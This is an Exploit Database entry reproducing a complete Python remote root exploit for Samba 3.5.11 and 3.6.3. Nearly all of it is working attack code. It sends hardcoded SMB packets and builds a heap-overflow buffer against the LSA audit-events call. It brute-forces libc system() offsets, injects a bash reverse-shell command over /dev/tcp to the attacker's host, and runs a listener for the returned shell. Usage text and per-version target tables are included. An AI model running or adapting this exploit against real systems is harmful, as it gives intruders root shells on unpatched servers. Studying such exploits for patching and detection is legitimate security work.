Samba 3.5.11/3.6.3 – Remote Code Execution

• Exploit Database
• 110 阅读

• 作者： kb
  日期： 2012-09-24
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37834/
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  source: https://www.securityfocus.com/bid/55655/info   Samba is prone to an unspecified remote code-execution vulnerability.   An attacker can exploit this issue to execute arbitrary code with root privileges. Failed exploit attempts will cause a denial-of-service condition.   #!/usr/bin/python # # finding targets 4 31337z: # gdb /usr/sbin/smbd <code>ps auwx | grep smbd | grep -v grep | head -n1 | awk &apos;{ print $2 }&apos;</code> <<< <code>echo -e "print system"</code> | grep &apos;$1&apos; #-> to get system_libc_addr, enter this value in the &apos;system_libc_offset&apos; value of the target_finder, run, sit back, wait for shell # found by eax samba 0day godz (loljk)     from binascii import hexlify, unhexlify import socket import threading import SocketServer import sys import os import time import struct   targets = [ { "name" : "samba_3.6.3-debian6", "chunk_offset" : 0x9148, "system_libc_offset" : 0xb6d003c0 }, { "name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)", "chunk_offset" : 4560, "system_libc_offset" : 0xb20 }, { "name" : "target_finder (hardcode correct system addr)", "chunk_offset" : 0, "system_libc_offset" : 0xb6d1a3c0, "finder": True } ]   do_brute = True rs = 1024 FILTER=&apos;&apos;.join([(len(repr(chr(x)))==3) and chr(x) or &apos;.&apos; for x in range(256)])   def dump(src, length=32): result=[] for i in xrange(0, len(src), length): s = src[i:i+length] hexa = &apos; &apos;.join(["%02x"%ord(x) for x in s]) printable = s.translate(FILTER) result.append("%04x %-*s %s\n" % (i, length*3, hexa, printable)) return &apos;&apos;.join(result)     sploitshake = [ # HELLO "8100004420434b4644454e4543464445" + \ "46464346474546464343414341434143" + \ "41434143410020454745424644464545" + \ "43455046494341434143414341434143" + \ "4143414341414100",   # NTLM_NEGOT "0000002fff534d427200000000000000" + \ "00000000000000000000000000001d14" + \ "00000000000c00024e54204c4d20302e" + \ "313200",   # SESSION_SETUP "0000004bff534d427300000000080000" + \ "000000000000000000000000ffff1d14" + \ "000000000dff000000ffff02001d1499" + \ "1f00000000000000000000010000000e" + \ "000000706f736978007079736d6200",   # TREE_CONNECT "00000044ff534d427500000000080000" + \ "000000000000000000000000ffff1d14" + \ "6400000004ff00000000000100190000" + \ "5c5c2a534d425345525645525c495043" + \ "24003f3f3f3f3f00",   # NT_CREATE "00000059ff534d42a200000000180100" + \ "00000000000000000000000001001d14" + \ "6400000018ff00000000050016000000" + \ "000000009f0102000000000000000000" + \ "00000000030000000100000040000000" + \ "020000000306005c73616d7200" ]   pwnsauce = { &apos;smb_bind&apos;: \ "00000092ff534d422500000000000100" + \ "00000000000000000000000001001d14" + \ "6400000010000048000004e0ff000000" + \ "0000000000000000004a0048004a0002" + \ "002600babe4f005c504950455c000500" + \ "0b03100000004800000001000000b810" + \ "b8100000000001000000000001007857" + \ "34123412cdabef000123456789ab0000" + \ "0000045d888aeb1cc9119fe808002b10" + \ "486002000000",   &apos;data_chunk&apos;: \ "000010efff534d422f00000000180000" + \ "00000000000000000000000001001d14" + \ "640000000eff000000babe00000000ff" + \ "0000000800b0100000b0103f00000000" + \ "00b0100500000110000000b010000001" + \ "0000009810000000000800",   &apos;final_chunk&apos;: \ "000009a3ff534d422f00000000180000" + \ "00000000000000000000000001001d14" + \ "640000000eff000000babe00000000ff" + \ "00000008006409000064093f00000000" + \ "00640905000002100000006409000001" + \ "0000004c09000000000800" }     def exploit(host, port, cbhost, cbport, target): global sploitshake, pwnsauce   chunk_size = 4248   target_tcp = (host, port)   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(target_tcp)   n = 0 for pkt in sploitshake: s.send(unhexlify(pkt)) pkt_res = s.recv(rs) n = n+1   fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])   s.send(unhexlify(pwnsauce[&apos;smb_bind&apos;].replace("babe", fid))) pkt_res = s.recv(rs)   buf = "X"*20# policy handle level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS buf+=struct.pack(&apos;<H&apos;,level) # level buf+=struct.pack(&apos;<H&apos;,level)# level2 buf+=struct.pack(&apos;<L&apos;,1)#auditing_mode buf+=struct.pack(&apos;<L&apos;,1)#ptr buf+=struct.pack(&apos;<L&apos;,100000) # r->count buf+=struct.pack(&apos;<L&apos;,20) # array_size buf+=struct.pack(&apos;<L&apos;,0) buf+=struct.pack(&apos;<L&apos;,100)   buf += ("A" * target[&apos;chunk_offset&apos;])   buf+=struct.pack("I", 0); buf+=struct.pack("I", target[&apos;system_libc_offset&apos;]); buf+=struct.pack("I", 0); buf+=struct.pack("I", target[&apos;system_libc_offset&apos;]); buf+=struct.pack("I", 0xe8150c70); buf+="AAAABBBB"   cmd = ";;;;/bin/bash -c &apos;/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0&apos; &\x00"   tmp = cmd*(816/len(cmd)) tmp += "\x00"*(816-len(tmp))   buf+=tmp buf+="A"*(37192-target[&apos;chunk_offset&apos;]) buf+=&apos;z&apos;*(100000 - (28000 + 10000))   buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)] n=0   for chunk in buf_chunks: if len(chunk) != chunk_size: #print "LAST CHUNK #%d" % n bb = unhexlify(pwnsauce[&apos;final_chunk&apos;].replace("babe", fid)) + chunk s.send(bb) else: #print "CHUNK #%d" % n bb = unhexlify(pwnsauce[&apos;data_chunk&apos;].replace("babe", fid)) + chunk s.send(bb) retbuf = s.recv(rs) n=n+1   s.close()   class connectback_shell(SocketServer.BaseRequestHandler): def handle(self): global do_brute   print "\n[!] connectback shell from %s" % self.client_address[0] do_brute = False   s = self.request   import termios, tty, select, os old_settings = termios.tcgetattr(0) try: tty.setcbreak(0) c = True while c: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 1024) if c: if i == 0: os.write(1, c)   os.write(s.fileno() if i == 0 else 1, c) except KeyboardInterrupt: pass finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)   return   class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass     if len(sys.argv) != 6: print "\n{*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n" print "usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0]) print "targets:" i = 0 for target in targets: print "%02d) %s" % (i, target[&apos;name&apos;]) i = i+1   print "" sys.exit(-1)     target = targets[int(sys.argv[5])]   server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start()   while do_brute == True: sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target[&apos;system_libc_offset&apos;], target[&apos;chunk_offset&apos;])) sys.stdout.flush() exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)   if "finder" in target: target[&apos;chunk_offset&apos;] += 4 else: target[&apos;system_libc_offset&apos;] += 0x1000     if "finder" in target: print \ "{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \ "system_libc_offset = 0x%03x" % \ (target[&apos;chunk_offset&apos;], target[&apos;system_libc_offset&apos;] & 0xff000fff)   while 1: time.sleep(999)   server.shutdown()